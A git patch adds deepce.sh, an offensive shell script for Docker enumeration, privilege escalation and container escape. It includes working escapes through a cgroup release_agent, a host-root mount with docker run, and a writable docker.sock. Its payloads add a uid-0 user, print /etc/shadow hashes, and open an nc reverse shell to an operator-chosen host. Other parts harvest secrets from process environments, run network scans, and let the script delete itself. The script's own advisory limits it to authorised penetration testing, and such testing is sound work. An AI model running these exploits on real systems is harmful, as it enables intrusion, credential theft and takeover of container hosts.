From 4446b9d8f04aafeb3930dea757673d9206c30e73 Mon Sep 17 00:00:00 2001 From: Roman Hergenreder Date: Wed, 2 Sep 2020 13:43:05 +0200 Subject: [PATCH] Docker Enumeration, Escalation of Privileges and Container Escapes (DEEPCE) --- deepce.sh | 1234 +++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 1234 insertions(+) create mode 100644 deepce.sh diff --git a/deepce.sh b/deepce.sh new file mode 100644 index 0000000..d96ec37 --- /dev/null +++ b/deepce.sh @@ -0,0 +1,1234 @@ +#!/bin/sh + +# shellcheck disable=SC2034 +VERSION="v0.1.0" +ADVISORY="deepce should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission." + +########################################### +#---------------) Colors (----------------# +########################################### + +C=$(printf '\033') +RED="${C}[1;31m" +GREEN="${C}[1;32m" +Y="${C}[1;33m" +B="${C}[1;34m" +LG="${C}[1;37m" #LightGray +DG="${C}[1;90m" #DarkGray +NC="${C}[0m" +UNDERLINED="${C}[4m" +EX="${C}[48;5;1m" + +banner() { + if [ "$quiet" ]; then + return + fi + + cat < dnsutils + printError "apt install -y $1" + elif [ -x "$(command -v apk)" ]; then + # Alpine + # TODO: dig / nslookup -> bind-tools + printError "apk add $1" + elif [ -x "$(command -v yum)" ]; then + # CentOS / Fedora + # TODO: dig / nslookup -> bind-utils + printError "yum install $1" + elif [ -x "$(command -v apt-get)" ]; then + # Old Debian + # TODO dig / nslookup / host -> dnsutils + printError "apt-get install -y $1" + fi + nl +} + +installPackages() { + if ! [ "$install" ]; then + return + fi + + if ! [ "$(id -u)" = 0 ]; then + # TODO: Elevate via sudo + printError "Need to be root to install packages..." + return + fi + + printSection "Installing Packages" + if [ -x "$(command -v apt)" ]; then + # Debian based OSes + printQuestion "Installing Packages ....." + + export DEBIAN_FRONTEND=noninteractive + if ! [ "$(apt update 2>/dev/null)" ]; then # + printError "Failed" + return + fi + + if apt install --no-install-recommends --force-yes -y dnsutils curl nmap iputils-ping >/dev/null 2>&1; then + printSuccess "Success" + else + printError "Failed" + fi + + elif [ -x "$(command -v apk)" ]; then + # Alpine + apk add bind-tools curl nmap + elif [ -x "$(command -v yum)" ]; then + # CentOS / Fedora + yum install bind-utils curl nmap + elif [ -x "$(command -v apt-get)" ]; then + # Old Debian + apt-get install -y dnsutils curl nmap + fi +} + +unsetColors(){ + RED="" + GREEN="" + Y="" + B="" + LG="" + DG="" + NC="" + UNDERLINED="" + EX="" +} + +describeColors(){ + # Describe the colors unless they have been unset or we're being quiet + if [ "$quiet" ] || ! [ "$RED" ]; then + return + fi + printSection "Colors" + printQuestion "Exploit Test ............"; printEx "Exploitable - Check this out"; + printResult "Basic Test .............." "Positive Result" + printResult "Another Test ............" "" "Error running check" + printQuestion "Negative Test ..........."; printNo; + printResultLong "Multi line test ........." "Command output +spanning multiple lines" + nl + printTip "Tips will look like this and often contains links with additional info. You can usually ctrl+click links in modern terminal to open in a browser window +See ${UNDERLINED}https://stealthcopter.github.io/deepce${NC}" +} + +########################################### +#---------------) Checks (----------------# +########################################### + +containerCheck() { + # Are we inside docker? + inContainer="" + if [ -f "/.dockerenv" ]; then + inContainer="1" + containerType="docker" + fi + + # Additional check in case .dockerenv removed + if grep "/docker/" /proc/1/cgroup -qa; then + inContainer="1" + containerType="docker" + fi + + #Docker check: cat /proc/1/attr/current + + # Are we inside kubenetes? + if grep "/kubepod" /proc/1/cgroup -qa; then + inContainer="1" + containerType="kubentes" + fi + + # Are we inside LXC? + if env | grep "container=lxc" -qa; then + inContainer="1" + containerType="lxc" + fi + if grep "/lxc/" /proc/1/cgroup -qa; then + inContainer="1" + containerType="lxc" + fi +} + +containerType() { + printResult "Container Platform ......" "$containerType" "Unknown" +} + +userCheck() { + printQuestion "User ...................." + if [ "$(id -u)" = 0 ]; then + isUserRoot="1" + printSuccess "root" + else + printSuccess "$(whoami)" + fi + + printQuestion "Groups .................." + groups=$(groups| sed "s/\($DANGEROUS_GROUPS\)/${LG}${EX}&${NC}${DG}/g") + printStatus "$groups" "None" +} + +dockerSockCheck() { + # Is the docker sock exposed + printQuestion "Docker Sock ............." + dockerSockPath="" + if [ -S "/var/run/docker.sock" ]; then + dockerSockPath="/var/run/docker.sock" + printYes + else + printFail "Not Found" + # TODO: Search elsewhere for sock? + fi + + if [ "$dockerSockPath" ]; then + + printInfo "$(ls -lah $dockerSockPath)" + nl + + # Is docker sock writable + printQuestion "Sock is writable ........" + if test -r "$dockerSockPath"; then + printYesEx + printTip "$TIP_WRITABLE_SOCK" + else + printNo + fi + + if [ -x "$(command -v curl)" ]; then + sockInfoCmd="curl -s --unix-socket $dockerSockPath http://localhost/info" + sockInfoRepsonse="$($sockInfoCmd)" + + printTip "To see full info from the docker sock output run the following" + printStatus "$sockInfoCmd" + nl + + # Docker version unknown lets get it from the sock + if [ -z "$dockerVersion" ]; then + # IF jq... + #dockerVersion=`$sockInfoCmd | jq -r '.ServerVersion'` + dockerVersion=$(echo "$sockInfoRepsonse" | tr ',' '\n' | grep 'ServerVersion' | cut -d'"' -f 4) + fi + + # Get info from sock + info=$(echo "$sockInfoRepsonse" | tr ',' '\n' | grep "$GREP_SOCK_INFOS" | grep -v "$GREP_SOCK_INFOS_IGNORE" | tr -d '"') + + printInfo "$info" + else + printError "Could not interact with the docker sock, as curl is not installed" + printInstallAdvice "curl" + fi + fi +} + +enumerateContainer() { + printSection "Enumerating Container" + containerID + containerName + containerIPs + getContainerInformation + containerServices + containerPrivileges + containerExploits +} + +containerID() { + # Get container ID + containerID="$(cat /etc/hostname)" + #containerID="$(hostname)" + #containerID="$(uname -n)" + # Get container full ID + printResult "Container ID ............" "$containerID" "Unknown" + + if [ "$containerType" = "docker" ]; then + containerFullID=$(basename "$(cat /proc/1/cpuset)") + printResult "Container Full ID ......." "$containerFullID" "Unknown" + fi +} + +containerIPs() { + sleep 2 + + # Get container IP + if [ -x "$(command -v hostname)" ]; then + containerIP="$(hostname -I 2>/dev/null || hostname -i)" + elif [ -x "$(command -v ip)" ]; then + containerIP="$(ip route get 1 | head -1 | cut -d' ' -f7)" # FIXME: Use sed as fields are inconsistent + fi + + printResult "Container IP ............" "$containerIP" "Could not find IP" + + # Container DNS + dnsServers=$(grep "nameserver" /etc/resolv.conf | cut -d' ' -f2 | tr '\n' ' ') + printResult "DNS Server(s) ..........." "$dnsServers" "Could not find DNS Servers" + + # Host IP + if [ -x "$(command -v netstat)" ]; then + hostIP="$(netstat -nr | grep '^0\.0\.0\.0' | awk '{print $2}')" + elif [ -x "$(command -v ip)" ]; then + hostIP="$(ip route get 1 | cut -d' ' -f 3)" + elif [ "$containerIP" ]; then + # No tools available, just have a guess + hostIP=$(echo "$containerIP" | cut -d'.' -f 1-3).1 + fi + + printResult "Host IP ................." "$hostIP" "Could not find Host IP" +} + +containerTools(){ + for CMD in ${CONTAINER_CMDS}; do + tools="$tools $(command -v "${CMD}")" + done + printResultLong "Container tools ........." "$(echo "$tools" | tr ' ' '\n'| grep -v '^$')" "None" +} + +containerName() { + # Get container name + # host, dig, nslookup + + if [ "$containerType" = "docker" ]; then + # Requires containerIP + if [ "$containerIP" ]; then + if [ -x "$(command -v host)" ]; then + containerName=$(host "$containerIP" | rev | cut -d' ' -f1 | rev) + elif [ -x "$(command -v dig)" ]; then + containerName=$(dig -x "$containerIP" +noall +answer | grep 'PTR' | rev | cut -f1 | rev) + elif [ -x "$(command -v nslookup)" ]; then + containerName=$(nslookup "$containerIP" 2>/dev/null | grep 'name = ' | rev | cut -d' ' -f1 | rev) + else + missingTools="1" + fi + fi + else + containerName=$containerID + fi + + printQuestion "Container Name .........." + if [ "$containerName" ]; then + printSuccess "$containerName" + else + printError "Could not get container name through reverse DNS" + if [ "$missingTools" ]; then + printTip "$TIP_DNS_CONTAINER_NAME" + printInstallAdvice "host dig nslookup" + fi + fi +} + +getContainerInformation() { + # Enumerate container info + + if [ -x "$(command -v lsb_release)" ]; then + os="$(lsb_release -i | cut -f2)" + else + os="$(uname -o)" + fi + + kernelVersion=$(uname -r) + arch=$(uname -m) + cpuModel=$(grep 'model name' /proc/cpuinfo | head -n1 | cut -d':' -f2| cut -d' ' -f2-) + + printMsg "Operating System ........" "$os" + printMsg "Kernel .................." "$kernelVersion" + printMsg "Arch ...................." "$arch" + printMsg "CPU ....................." "$cpuModel" + + for CMD in ${USEFUL_CMDS}; do + tools="$tools $(command -v "${CMD}")" + done + + # shellcheck disable=SC2086 # Double quotes messes up output... + printResultLong "Useful tools installed .." "$(echo $tools | tr ' ' '\n')" +} + +containerServices() { + # SSHD + + printQuestion "SSHD Service ............" + + if ! [ -x "$(command -v ps)" ]; then + printError "Unknown (ps not installed)" + return + fi + + (ps -aux 2>/dev/null || ps -a) | grep -v "grep" | grep -q "sshd" + + # shellcheck disable=SC2181 + if [ $? -eq 0 ]; then + if [ -f "/etc/ssh/sshd_config" ]; then + sshPort=$(grep /etc/ssh/sshd_config "^Port" || echo "Port 22" | cut -d' ' -f2) + printSuccess "Yes (port $sshPort)" + else + printSuccess "Yes" + fi + else + printNo + fi +} + +containerPrivileges() { + + printQuestion "Privileged Mode ........." + if [ -x "$(command -v fdisk)" ]; then + if [ "$(fdisk -l 2>/dev/null | wc -l)" -gt 0 ]; then + printYesEx + printTip "$TIP_PRIVILEGED_MODE" + else + printNo + fi + else + printError "Unknown" + fi + +} + +containerExploits() { + # If we are on an alpine linux disto check for CVE–2019–5021 + if [ -f "/etc/alpine-release" ]; then + alpineVersion=$(cat /etc/alpine-release) + printQuestion "Alpine Linux Version ...." + printSuccess "$alpineVersion" + printQuestion "└── CVE-2019-5021 ......." + + if [ "$(ver "$alpineVersion")" -ge "$(ver 3.3.0)" ] && [ "$(ver "$alpineVersion")" -le "$(ver 3.6.0)" ]; then + printYesEx + printTip "$TIP_CVE_2019_5021" + else + printNo + fi + fi +} + +enumerateContainers() { + printSection "Enumerating Containers" + + if [ "$inContainer" ]; then # If inside a container + + printTip "$TIP_NETWORK_ENUM" + + # Find containers... + if [ "$dockerCommand" ]; then + # Enumerate containers using docker + dockercontainers=$(docker ps --format "{{.Names}}" 2>/dev/null | wc -l) + printMsg "Docker Containers........" "$dockercontainers" + docker ps -a + elif [ "$dockerSockPath" ]; then + # Enumerate containers using sock + TODO "Enumerate container using sock" + else + pingSweep + fi + + portScan + + else # Not in a container + + if docker ps >/dev/null 2>&1; then # Enumerate docker containers + dockercontainers=$(docker ps --format "{{.Names}}" 2>/dev/null | wc -l) + dockercontainersTotal=$(docker ps -a --format "{{.Names}}" 2>/dev/null | wc -l) + printMsg "Docker Containers........" "$dockercontainers Running, $dockercontainersTotal Total" + docker ps -a + fi + if lxc list >/dev/null 2>&1; then # Enumerate lxc containers + lxccontainers=$(lxc list | grep -c "| RUNNING |" 2>/dev/null) + lxccontainersTotal=$(lxc list | grep -c "| CONTAINER |" 2>/dev/null) + printMsg "LXC Containers..........." "$lxccontainers Running, $lxccontainersTotal Total" + lxc list + fi + if rkt list >/dev/null 2>&1; then # Enumerate rkt containers + rktcontainers=$(rkt list 2>/dev/null | tail -n +2 | wc -l) + printMsg "RKT Containers..........." "$rktcontainers Total" # TODO: Test and add total + rkt list + fi + fi +} + +pingSweep() { + if [ "$noNetwork" ]; then + return + fi + + if [ "$containerIP" ]; then + # Enumerate containers the hard way (network enumeration) + subnet=$(echo "$containerIP" | cut -d'.' -f1-3) + + if [ -x "$(command -v nmap)" ]; then + # Method 1: nmap + printQuestion "Attempting ping sweep of $subnet.0/24 (nmap)" + nl + nmap -oG - -sP "$subnet.0/24" | grep "Host:" + elif [ -x "$(command -v ping)" ] && ping -c 1 127.0.0.1 2>/dev/null 1>&2; then + # Method 2: ping sweep (check ping is executable, and we can run it, sometimes needs root) + printQuestion "Attempting ping sweep of $containerIP/24 (ping)" + nl + + pids="" + # Ping all IPs in range + set +m + for addr in $(seq 1 1 10); do + (ping -c 1 -t 1 "$subnet.$addr" >/dev/null && echo "$subnet.$addr" is Up) & true >/dev/null + pids="${pids} $!" + done + + # Wait for all background pids to complete + for pid in ${pids}; do + wait "${pid}" + done + else + printError "Could not ping sweep, requires nmap or ping to be executable" + fi + else + printError "Cannot enumerate network without IP address" + fi +} + +portScan() { + if [ "$noNetwork" ]; then + return + fi + + # Scan containers / host + if [ -x "$(command -v nmap)" ]; then + # Method 1: nmap + if [ "$containerIP" ]; then + printSection "Scanning Host" + printQuestion "Scanning host $hostIP (nmap)" + nmap "$hostIP" -p- + fi + fi +} + +findMountedFolders() { + # Find information about mount points + printSection "Enumerating Mounts" + + printQuestion "Docker sock mounted ......." + if grep -q docker.sock /proc/self/mountinfo; then + printYesEx + # Docker sock appears to be mounted, uhoh! + printTip "$TIP_WRITABLE_SOCK" + dockerSockPath=$(grep "docker.sock" /proc/self/mountinfo | cut -d' ' -f 5) + else + printNo + fi + + otherMounts=$(grep -v "$GREP_IGNORE_MOUNTS" /proc/self/mountinfo | cut -d' ' -f 4-) + + printQuestion "Other mounts .............." + if [ "$otherMounts" ]; then + printYes + printStatus "$otherMounts" + + # Possible host usernames found: (sed is hard... using a fudge) + usernames=$(echo "$otherMounts" | sed 's/.*\/home\/\(.*\)/\1/' | cut -d '/' -f 1 | sort | uniq | tr '\n' ' ') + if [ "$usernames" ]; then + printResult "Possible host usernames ..." "$usernames" + fi + + if echo "$otherMounts" | grep -q "ecryptfs"; then + printResult "Encrypted home directory .." "Detected" + fi + + else + printNo + fi +} + +findInterestingFiles() { + printSection "Interesting Files" + + interestingVars=$( (env && cat /proc/*/environ) 2>/dev/null | sort | uniq | grep -Ii "$GREP_SECRETS") + boringVars=$( (env && cat /proc/*/environ) 2>/dev/null | sort | uniq | grep -Iiv "$GREP_SECRETS") + + printQuestion "Interesting environment variables ..." + if [ "$interestingVars" ]; then + printYes + printSuccess "$interestingVars" + else + printNo + fi + + printStatus "$boringVars" + + # Any common entrypoint files etc? + entrypoint=$(ls -lah /entrypoint.sh /deploy 2>/dev/null) + printResultLong "Any common entrypoint files ........." "$entrypoint" + + # Any files in root dir + if [ -x "$(command -v find)" ]; then + interestingFiles=$(find / -maxdepth 1 -type f | grep -v "/.dockerenv\|deepce.sh") + else + # shellcheck disable=SC2010 + interestingFiles=$(ls -lah / | grep -v '^d\|^l\|^total\|.dockerenv\|deepce.sh') + fi + + printResultLong "Interesting files in root ..........." "$interestingFiles" + + # Any secrets in root dir files + result=$(grep -Iins --exclude="deepce.sh" "$GREP_SECRETS" /*) + + printResultLong "Passwords in common files ..........." "$result" + + # Home Directories + homeDirs="$(ls -lAh /home)" + printQuestion "Home directories ...................." + + if echo "$homeDirs" | grep -qv 'total 0'; then + printStatus "$homeDirs" + else + printNo + fi + + hashes=$(cut -d':' -f2 < /etc/shadow 2>/dev/null | grep -v '^*$\|^!') + printQuestion "Hashes in shadow file ..............." + if [ "$hashes" ]; then + printYes + printStatus "$hashes" + elif test -r /etc/shadow; then + # Cannot check... + printFail "No permission" + else + printNo + fi + + # TODO: Check this file /run/secrets/ + + printQuestion "Searching for app dirs .............." + nl + for p in ${PATH_APPS}; do + if [ -f "$p" ]; then + printSuccess "$p" + printMsg "$(ls -lAh "$p")" + fi + done + +} + +getDockerVersion() { + printQuestion "Docker Executable ......." + if [ "$(command -v docker)" ]; then + dockerCommand="$(command -v docker)" + dockerVersion="$(docker -v | cut -d',' -f1 | cut -d' ' -f3)" + printSuccess "$dockerCommand" + printQuestion "Docker version .........." + printSuccess "$dockerVersion" + + printQuestion "User in Docker group ...." + if groups | grep -q '\bdocker\b'; then + printYesEx + printTip "$TIP_DOCKER_GROUP" + else + printNo + fi + else + printFail "Not Found" + fi +} + +checkDockerVersionExploits() { + # Check version for known exploits + printResult "Docker Exploits ........." "$dockerVersion" "Version Unknown" + if ! [ "$dockerVersion" ]; then + return + fi + + printQuestion "CVE–2019–13139 .........." + if [ "$(ver "$dockerVersion")" -lt "$(ver 18.9.5)" ]; then + printYesEx + printTip "$TIP_CVE_2019_13139" + else + printNo + fi + + printQuestion "CVE–2019–5736 ..........." + if [ "$(ver "$dockerVersion")" -lt "$(ver 18.9.3)" ]; then + printYesEx + printTip "$TIP_CVE_2019_5736" + else + printNo + fi +} + +########################################### +#--------------) Exploits (---------------# +########################################### + +prepareExploit() { + # Shared method that takes the user input and converts it into a cmd to be used for exploitation + # Current available PAYLOADS are: + # - shadow + # - local shell + # - custom command + # - new root user + + printMsg "Preparing Exploit" " " + + if [ "$shadow" ]; then + + # Show shadow password hashes + printMsg "Exploit Type ............." "Print Shadow" + printMsg "Clean up ................." "Automatic on container exit" + + cmd="cat /etc/shadow" + + elif [ "$username" ]; then + # New root user + + if ! [ "$username" ]; then + printError "username missing" + exit 1 + fi + + if ! [ "$password" ]; then + printError "password missing" + exit 1 + fi + + printMsg "Exploit Type ............." "Add new root user" + printMsg "Username ................." "$username" + printMsg "Password ................." "$password" + printMsg "Clean up ................." "Manual, remember to delete user after exploitation!" + # Cool little bash one-liner to make a new user, set password and give it user id of 0 (root) + cmd="useradd $username;echo $password:$password|chpasswd $username;usermod -ou 0 $username" + + elif [ "$command" ]; then + + # Custom payload (run a command) + printMsg "Exploit Type ............." "Custom Command" + printMsg "Custom Command ..........." "$command" + printMsg "Clean up ................." "Automatic on container exit" + cmd="$command" + + elif [ "$ip" ]; then + # Reverse shell + + if ! [ "$port" ]; then + printError "port missing" + exit 1 + fi + + printMsg "Shell Type ....... " "Reverse TCP" + printMsg "Create listener .. " "No" + printMsg "Host ............. " "$ip" + printMsg "Port ............. " "$port" + cmd="/bin/sh -c nc $ip $port -e /bin/sh" + + if [ "$listen" ]; then + # Enable job control + set -m + # Create listener + nc -lvnp "$port" & + # PID_NC=$! + bg + fi + + else + # TODO: Disable on sock / privileged as we dont have interactive + printMsg "Exploit Type ............." "Local Shell" + printMsg "Create shell ............." "Yes" + printMsg "Clean up ................." "Automatic on container exit" + cmd="/bin/sh" + fi + + if ! [ "$cmd" ]; then + printError "Nothing to do, if trying to launch a shell add -cmd bash" + exit 1 + fi +} + +exploitDocker() { + printSection "Exploiting Docker" + printTip "$TIP_DOCKER_CMD" + + if ! [ -x "$(command -v docker)" ]; then + printError "Docker command not found, but required for this exploit" + exit + fi + + prepareExploit + printQuestion "Exploiting" + nl + # shellcheck disable=SC2086 # Word splitting is expected and allowed here + docker run -v /:/mnt --rm -it alpine chroot /mnt $cmd + + printQuestion "Exploit complete ...." + if [ $? ]; then + printSuccess "Success" + else + printError 'Error' + fi +} + +exploitPrivileged() { + +# This is disabled because if no-enum is set then we dont know if we're in a container.. +# if ! [ "$inContainer" ]; then +# printError "Not in container" +# return +# fi + + printSection "Exploiting Privileged" + printTip "$TIP_PRIVILEGED_MODE" + prepareExploit + + # POC modified from https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/ + # shellcheck disable=SC2012 # Not using find as it may not be available + d=$(dirname "$(ls -x /s*/fs/c*/*/r* | head -n1)") + if [ -S "$d" ]; then + printError "Error: exploit failed (docker too old?)" + return + fi + mkdir -p "$d/w" + echo 1 >"$d/w/notify_on_release" + t="$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)" + touch /o + echo "$t/c" >"$d/release_agent" + printf "#!/bin/sh\n%s > %s/o" "$cmd" "$t">/c + chmod +x /c + sh -c "echo 0 >$d/w/cgroup.procs" + sleep 1 + cat /o + rm /c /o +} + +exploitDockerSock() { + printSection "Exploiting Sock" + printTip "$TIP_DOCKER_SOCK" + + if ! [ -x "$(command -v curl)" ]; then + printInstallAdvice "curl" + exit + fi + + if ! [ -S "$dockerSockPath" ]; then + printError "Docker sock not found, but required for this exploit" + exit + fi + + prepareExploit + + nl + + # Create docker container using the docker sock + payload="[\"/bin/sh\",\"-c\",\"chroot /mnt sh -c \\\"$cmd\\\"\"]" + response=$(curl -s -XPOST --unix-socket /var/run/docker.sock -d "{\"Image\":\"alpine\",\"cmd\":$payload, \"Binds\": [\"/:/mnt:rw\"]}" -H 'Content-Type: application/json' http://localhost/containers/create) + + if ! [ $? ]; then + printError 'Something went wrong' + echo "$response" + return + fi + + revShellContainerID=$(echo "$response" | cut -d'"' -f4) + printQuestion "Creating container ....." + printSuccess "$revShellContainerID" + + startCmd="curl -s -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/$revShellContainerID/start" + logsCmd="curl -s --unix-socket /var/run/docker.sock \"http://localhost/containers/$revShellContainerID/logs?stderr=1&stdout=1\" --output -" + deleteCmd="curl -s -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/$revShellContainerID/stop" + removeCmd="curl -s -XDELETE --unix-socket /var/run/docker.sock http://localhost/containers/$revShellContainerID" + + printQuestion "If the shell dies you can restart your listener and run the start command to fire it again" + nl + printStatus "Start Command: $startCmd" + printStatus "Logs Command: $logsCmd" + + printQuestion "Once complete remember to tidy up by stopping and removing your container with following commands" + nl + + printStatus "Stop Command: $deleteCmd" + printStatus "Remove Command: $removeCmd" + + # FIXME: Must be a better way of doing this... + response=$(eval "$startCmd") + + printQuestion "Starting container ....." + if [ $? ]; then + printSuccess "Success" + else + printError 'Something went wrong...' + fi + + delay=2 + + printMsg "Sleeping for ..........." "${delay}s" + + sleep $delay + + response=$(eval "$logsCmd") + + printQuestion "Fetching logs .........." + if [ $? ]; then + printSuccess "Success" + printStatus "$response" + else + printError 'Something went wrong...' + fi + + printQuestion "Exploit completed ....." + if [ "$listen" ]; then + # Create listener + printSuccess 'Switching to listener' + fg + else + printSuccess ':)' + fi + + # TODO: Switch to listener if wanted + # TODO: Tidy up command +} + +########################################### +#--------------) Arg Parse (--------------# +########################################### + +while [ $# -gt 0 ]; do + key="$1" + case $key in + -h | --help) + show_help + exit 0 + ;; + -ne | --no-enumeration | --no-enum | --no-enumerate) + skipEnum="1" + shift + ;; + -nn | --no-network | --no-net) + noNetwork="1" + shift + ;; + -nc | --no-cols | --no-colors | --no-colours) + unsetColors + shift + ;; + -q | --quiet) + quiet="1" + shift + ;; + -e | -ex | --exploit) + exploit="$2" + shift + shift + ;; + -l | --listen) + listen="1" + shift + ;; + --user|--username) + username="$2" + shift + shift + ;; + -cmd | --command) + command="$2" + shift + shift + ;; + --pass|--password) + password="$2" + shift + shift + ;; + -s | --shadow) + shadow="1" + shift + ;; + -i | --ip) + ip="$2" + shift + shift + ;; + -p | --port) + port="$2" + shift + shift + ;; + --install) + install="1" + shift + ;; + -doc | --delete | --delete-on-complete) + delete="1" + shift + ;; + *) + echo "Unknown option $1" + exit 1 + ;; + esac +done + +########################################### +#--------------) Execution (--------------# +########################################### + +banner +describeColors +installPackages + +if ! [ "$skipEnum" ]; then + + printSection "Enumerating Platform" + containerCheck + + printQuestion "Inside Container ........" + + if [ "$inContainer" ]; then + # Inside Container + printYes + containerType + containerTools + userCheck + if [ "$containerType" = "docker" ]; then + getDockerVersion + dockerSockCheck + checkDockerVersionExploits + fi + enumerateContainer + findMountedFolders + findInterestingFiles + enumerateContainers + else + # Outside Container + printNo + userCheck + containerTools + getDockerVersion + dockerSockCheck + checkDockerVersionExploits + enumerateContainers + fi +fi + +# Parse exploit argument +if [ "$exploit" ]; then + case $exploit in + docker | DOCKER) + exploitDocker + ;; + priv | PRIV | privileged | PRIVILEGED) + exploitPrivileged + ;; + sock | SOCK) + exploitDockerSock + ;; + *) + echo "Unknown exploit $1" + exit 1 + ;; + esac +fi + +printSection "" + + +if [ "$delete" ]; then + rm -- "$0" +fi + +exit 0